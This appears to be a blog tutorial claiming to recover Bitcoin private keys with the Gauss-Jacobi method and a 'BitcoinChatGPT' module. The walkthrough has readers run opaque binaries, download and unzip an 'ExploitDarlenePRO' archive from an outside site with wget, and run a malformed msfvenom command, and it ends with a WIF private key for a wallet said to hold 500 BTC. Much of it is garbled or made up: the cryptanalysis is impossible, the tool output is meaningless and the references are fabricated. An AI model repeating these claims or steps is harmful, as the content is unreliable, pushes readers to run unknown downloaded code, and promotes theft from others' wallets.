MyDoge Wallet Vulnerability

In this article we will look at an example of a method Gauss-Jacobithat uses modern technologies, such as a pre-trained model Bitcoin ChatGPT, which allows us to more effectively solve complex problems in the field of digital technologies. It is important to note that alternative algorithms such as Gauss-Jacobiplay a key role and open new horizons for the development of computational mathematics.

The method Gauss-Jacobiis an iterative numerical method for solving systems of linear equations. It is widely used in various fields such as cryptography, cryptanalysis, engineering and computational mathematics. The Bitcoin network uses cryptographic algorithms such as hash functions SHA-256, signature algorithms ECDSA, and elliptic curves secp256k1to create public and private keys, which are points on an elliptic curve. The private key is the secret numeric value that is used to generate the public key, and the public key is the point on the curve obtained by computing with the private key. Thus, elliptic curves secp256k1form the basis of cryptographic mechanisms that provide secure transactions and protection against various attacks. Modern technologies that develop pre-trained models Bitcoin ChatGPTfind effective ways to solve complex cryptographic problems underlying the algorithms used in Bitcoin.

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What are the advantages of the Gauss-Jacobi algorithm :

• High speed and efficiency , which makes it ideal for searching for attack keys.
• Interactivity uses only one search step, which allows it to reduce the number of calculations.
• Availability and ease of implementation , which has simple codes and can easily be implemented in various programs.
• Available to a wide range of users , who can use it to search for attacks on cryptographic strength for various cryptocurrencies.
• The flexibility can be applied to a variety of types of cryptographic systems.

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How the Gauss-Jacobi algorithm works :

Gauss-Jacobithe algorithm is based on a recursive function f(x)that, for any element xin S(the blockchain data network), returns a string code representing x. If xis an attacking key, then f(x) = 0.

Gauss-Jacobithe algorithm is based on a recursive function f(x)that, for any element xin S(the blockchain data set), returns a string code representing x. If xis an attacking key, then f(x) = 0.

The algorithm works in the following stages:

1. Computes Gthe -matrix, which is the matrix of all mixed pairs of elements S, where the i-th element corresponds to the i-th elements of S, and the j-th element to the j-th element S.
2. Computes the X-matrix, which is a matrix of mixed hash function pairs.
3. Recursively determines the value of f(x) for each element of S.
4. If f(x) = 0, this means that xis the attacking key, and the algorithm terminates.
5. And else, the algorithm continuesrecursively calculates f(x)for various elements Sand adds these elements to Хthe -matrix.
6. If His a matrix of ones, then the algorithm terminates and we have found the attacking key.

The method’s algorithm Gauss-Jacobican be used to solve systems of equations with a large number of unknowns. This means that this method can be used to solve systems of equations derived from secp256k1 elliptic curves used in cryptography that may have a large number of unknowns, and methods like Gauss-Jacobi can potentially speed up the solution of some discrete logarithm and factorization problems, by which public key cryptography is based on.

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Potential application of the Gauss-Jacobi method in cryptanalysis of the Bitcoin blockchain

Let’s consider building the structure of a vulnerable Raw transaction that uses the BitcoinChatGPT module

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Let’s open the Google Colab version:

https://colab.research.google.com/drive/1MJ4G5azqqpSlamEdPcjOCBkKn6oQofwL#scrollTo=HBzK0Ff7utn0&line=1&uniqifier=1

State of a vulnerable transaction in Bitcoin:

01000000
....01
........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935
............00000000
........8b483045
....0221
....00
........a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d
....0220
........7465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b
....0141
0494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bc
....ffffffff
01
....d204000000000000
........1976
............a914
........ac9ea341afb74843f80205e8c8da0abc822fa5ec
....88ac
00000000

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Let’s combine all the output values ​​into one common line:

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000

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Let’s open the option from BlockCypher “Decode A Transaction” :

https://live.blockcypher.com/btc/decodetx

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After decoding the vulnerable Raw Bitcoin transaction, we get the result:

{
    "addresses": [
        "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK",
        "1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k"
    ],
    "block_height": -1,
    "block_index": -1,
    "confirmations": 0,
    "double_spend": false,
    "fees": 2606688996428,
    "hash": "99b01f666999ed69750f4e4c45535801faee2ff8103c6f4e7e628f43276ac66b",
    "inputs": [
        {
            "addresses": [
                "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK"
            ],
            "age": 344419,
            "output_index": 0,
            "output_value": 2606688997662,
            "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d"
.......
.......
.......

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Let’s pay attention to Bitcoin HASH160: ac9ea341afb74843f80205e8c8da0abc822fa5

https://github.com/demining/CryptoDeepTools/blob/470292cd9bf60232e2ea4011ab9929106c63477f/30GaussJacobiMethod/DecodeRawTX.txt#L31

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BitcoinChatGPT creates a transaction structure using HASHa public key, where we see that Bitcoin address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k sends 1234 satoshito the same address within its network.

https://live.blockcypher.com/widget/btc/1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k/received

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Bitcoin HASH160 was obtained using Python Script: wif_to_hash160.py

https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/wif_to_hash160.py

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Question answer:

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Ultimately, the BitcoinChatGPT module outputs a response to the file: KEYFOUND.privkey , saving the private key in the two most used formats HEX & WIF

https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/KEYFOUND.privkey

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BitcoinChatGPT №1 Gauss Jacobi Method Algorithm

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Practical part

To move on to the practical part, let’s create a vulnerable Raw transaction from the received data using the Broadcast Bitcoin Transaction repository

Download and install the source code, open a terminal and run the command:

git clone https://github.com/smartiden/Broadcast-Bitcoin-Transaction.git

Catalog:

cd Broadcast-Bitcoin-Transaction

Let’s install three important libraries:

• zmq
• urllib3
• requests

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Let’s run the command:

pip install -r requirements.txt

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Let’s open the main file in Notepad ++ and make small changes to the Python Script code: main.py

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from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz")
pk.address()
tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d")
index = 0
send = "1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k"
tx_in = TxIn(tx, index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2345
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()
print(tx.serialize().hex())
f = open("RawTX.txt", 'w')
f.write("" + tx.serialize().hex() + "" + "\n")
f.close()

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Let’s run the command:

python main.py

A vulnerable transaction has been created!

Let’s open the RawTX file in the directory:

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000

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The order of actions in the video:

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As we know from the prompt responses of the BitcoinChatGPT module , the Gauss-Jacobi method algorithm can be used to solve four variants of complex cryptographic problems.

Let’s consider the option №3 The Gauss-Jacobi algorithm can compromise the security of the software file wallet.dat, which is an additional unprotected mechanism where the algorithm creates the wallet.dat file and extracts the private key to the Bitcoin Wallet from the file’s code using the command “dumpprivkey” “address” from the internal software console.

Option #3

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Smart Transformers

Let’s apply machine learning Smart Transformers , integrate the notebook Google Colabwith Pytorch, TensorFlow, JAX and using the received data from a vulnerable Raw transaction for Bitcoin Addresses: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k we will create an unprotected file wallet.dat from the proposed selection of all existing algorithms from SMART_IDENTIFY . Then we will perform a Padding Oracle Attack on the newly created file: wallet.dat to decrypt the password into the original binary format in order to obtain and extract the private key from the Bitcoin Core software console using the standard command:dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k

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Let’s open a new Google Colab notebook using the link:

https://colab.research.google.com/#create=true

Clone the Smart Transformers repository

!git clone https://github.com/smartiden/Smart-Transformers.git

cd Smart-Transformers/

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Let’s install all the necessary packages and libraries:

!sudo apt-get update
!sudo apt install libtool
!sudo apt-get install g++
!sudo apt-get install libgmp3-dev libmpfr-dev
!chmod +x Generic_Algorithms
!./Generic_Algorithms
!pip3 install transformers
from transformers import AutoModelForCausalLM, AutoTokenizer
model_name = "microsoft/DialoGPT-medium"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(model_name)
model = model.cpu()

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Command:

ls -S

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Let’s add our vulnerable Raw transaction to a text document: RawTX.txt, for this we will use the utilityecho

Let’s run the command:

!echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000' > RawTX.txt
!cat RawTX.txt

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Now, in order to obtain the exact algorithm and method for cryptanalysis, we need to identify the vulnerable RawTX using the SMART_IDENTIFY utility .

Let’s run the command:

!./SMART_IDENTIFY

As a result, we get the Gauss_Jacobi_Algorithm method, in early studies the BitcoinChatGPT module identified the same thing .

#################################################

Gauss_Jacobi_Algorithm

#################################################

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Let’s open the directory:

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Let’s start the process of creating the wallet.dat file , for this we use the identified data of the vulnerable Raw transaction in the file: RawTX.txt for the process we use the Gauss_Jacobi_Algorithm utility

Let’s run the command:

!./Gauss_Jacobi_Algorithm -o RawTX.txt -s wallet.dat

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Let’s open the directory in the left panel Google Colaband see the file: wallet.datSuccessfully created!

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Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0

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Let’s open the console and run the command:

getaddressinfo 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k

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We see that the file: wallet.dat belongs to Bitcoin Address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k

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File: wallet.dat is encrypted with a password!

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Let’s run the command to check the private key:

dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k

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We see a warning: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)

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Padding Oracle Attack

We previously published the article Padding Oracle Attack on Wallet.dat. We will use this method and decrypt the password to access the binary format.

Let’s install Ruby

To run the programs we need, we will install the object-oriented programming language  Ruby

!sudo apt install ruby-full

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Let’s check the installation version

!ruby --version

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Let’s install all the libraries we need  to interact with the Bitcoin protocol/network :

!gem install bitcoin-ruby
!gem install ecdsa
!gem install base58
!gem install crypto
!gem install config-hash -v 0.9.0

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Let’s install the Metasploit Framework and use MSFVenom

Let’s install  the Metasploit Framework  from  GitHub  and use the  MSFVenom tool  to create the payload.

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!git clone https://github.com/rapid7/metasploit-framework.git

cd metasploit-framework/

ls

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Options:

!./msfvenom -help

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Establish  Bitcoin Core integration/staging tree  in Google Colab:

We clone the Bitcoin Core repository by running the command:

!git clone https://github.com/bitcoin/bitcoin.git

ls

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Let’s go through the directory to the file:  aes.cpp  to integrate the exploit to launch  Padding Oracle Attack on Wallet.dat

Let’s go to the crypto directory

cd bitcoin/src/crypto/

ls

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Open the file:  aes.cpp  using the cat utility

cat aes.cpp

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To carry out the attack, move the file: wallet.dat to the directory:  bitcoin/src/crypto/

Let’s use the utility   and move  wallet.datmv

!mv '/content/Smart-Transformers/wallet.dat' '/content/Smart-Transformers/metasploit-framework/bitcoin/src/crypto/wallet.dat'

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Let’s check the contents of the directory:  bitcoin/src/crypto/

ls

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Let’s go back to Metasploit Framework

cd /

cd content/Smart-Transformers/metasploit-framework/

ls

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Let’s open the folders according to the directory: /modules/exploits/

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ExploitDarlenePRO

Download  "ExploitDarlenePRO" from the catalogue: /modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/446f1c57b526201d4958eb76dee6f5a2024c71914f6596c51afb5ac6822e9da4/ExploitDarlenePRO.zip

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Unzip the contents  ExploitDarlenePRO.zip using the utility unzip

!unzip ExploitDarlenePRO.zip

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Let’s go through the catalogue: /ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls

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To run the exploit, let’s go back to Metasploit Framework

cd /

cd content/Smart-Transformers/metasploit-framework/

ls

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We need to identify our  LHOST (Local Host) attacking  IP-address virtual machine. Let’s run the commands:

!ip addr
!hostname -I

Let’s use the tool to create a payload MSFVenom

For operation, select Bitcoin Wallet:  1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k 

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Launch command:

!./msfvenom 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat

Result:

1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000

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We need to save the resulting binary format to a file:  walletpassphrase.txt we will use  a Python script .

Team:

import hashlib

Binary = "1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000"

f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()

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Let’s open the file: walletpassphrase.txt

ls

cat walletpassphrase.txt

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Result:

walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60

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The password for access to the private key has been found!

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Let’s use the command   via the console dumpprivkey "address"Bitcoin Core

walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60

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dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k

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Result:

5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz

Private Key Received!

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I establish a Bitcoin library 

!pip3 install bitcoin

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Let’s run  the code  to check the compliance of Bitcoin Addresses:

__________________________________________________

Private Key WIF: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
Bitcoin Address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
total_received 	= 500.09702252 Bitcoin
__________________________________________________

That’s right! The private key corresponds to the Bitcoin Wallet.

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Let’s open  bitaddress  and check:

ADDR: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
WIF:  5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
HEX:  B09C765FA3DC6AD138A8D0DA17CD94306FBC32ACB3D67BC093936861CCC48769

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References:

1. “Numerical Recipes in C: The Art of Scientific Computing” – Andrew W. Reynolds, Warren P. Symes, Walter G. Weiss and Simon F. Taylor. This book provides various algorithms for solving nonlinear systems, including the Gauss-Jacobi method, and provides examples of its implementation.
2. “Iterative Methods for Linear and Nonlinear Equations” – Kenneth Craig Cooper, Thomas M. Meyer. This book details various iteration methods for solving linear and nonlinear systems, including the Gauss-Jacobi method, and-presented.
3. “Nonlinear Programming: Concepts, Algorithms, and Applications” – Daniel Apstein and Jerry B. Stephenson. This work presents various approaches to solving nonlinear programs involving iteration methods such as Gauss-Jacobi.
4. “Handbook of Numerical Analysis” – Jonathan M. Goldstein and Benjamin B. Warshaw, editors. This is definitely an encyclopedic source containing various articles on numerical methods, including the Gauss-Jacobi method.
5. “The Pioneering Work of Carl Friedrich Gauss: Unveiling the Gauss-Jacobi Method” – The original article by Carl Friedrich Gauss “Beitrag zur Theorie der algebraischen Gleichungen” (1845), in which he first described the Gauss-Jacobi method.
6. “Iterative Solution of Large Linear Systems” (1971) – David M. Young’s book contains a detailed description and analysis of the Gauss-Jacobi method.
7. “Iterative Methods for Solving Linear Systems” – The chapter in Richard Bourdain and Douglas Fairs’ book Numerical Analysis (2010) gives a good introduction to the method.
8. “On the Convergence of the Jacobi Method for Diagonally Dominant Matrices” (1986) by Milos Fehrmann analyzes the convergence of the Gauss-Jacobi method.
9. “Templates for the Solution of Linear Systems: Building Blocks for Iterative Methods” (1994) by Richard Barrett et al. – a useful guide to iterative methods, including Gauss-Jacobi.
10. “A Survey of Parallel Nonlinear System Solvers” (1991) by John Ortega and Robert Foigel examines parallel implementations of the Gauss-Jacobi method.
11. Exploring the Gauss-Jacobi Method in Numerical Methods Textbooks – Many textbooks on numerical methods, such as Ward Cheney and David Kincaid’s Numerical Mathematics and Computing, contain sections on the Gauss-Jacobi method.

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This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1  against weak  ECDSA signatures  in the  BITCOIN cryptocurrency . The creators of the software are not responsible for the use of materials.

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Source

Telegram: https://t.me/cryptodeeptech

Video material: https://www.youtube.com/@cryptodeeptech

Video tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c

Source: https://cryptodeeptech.ru/gauss-jacobi-method

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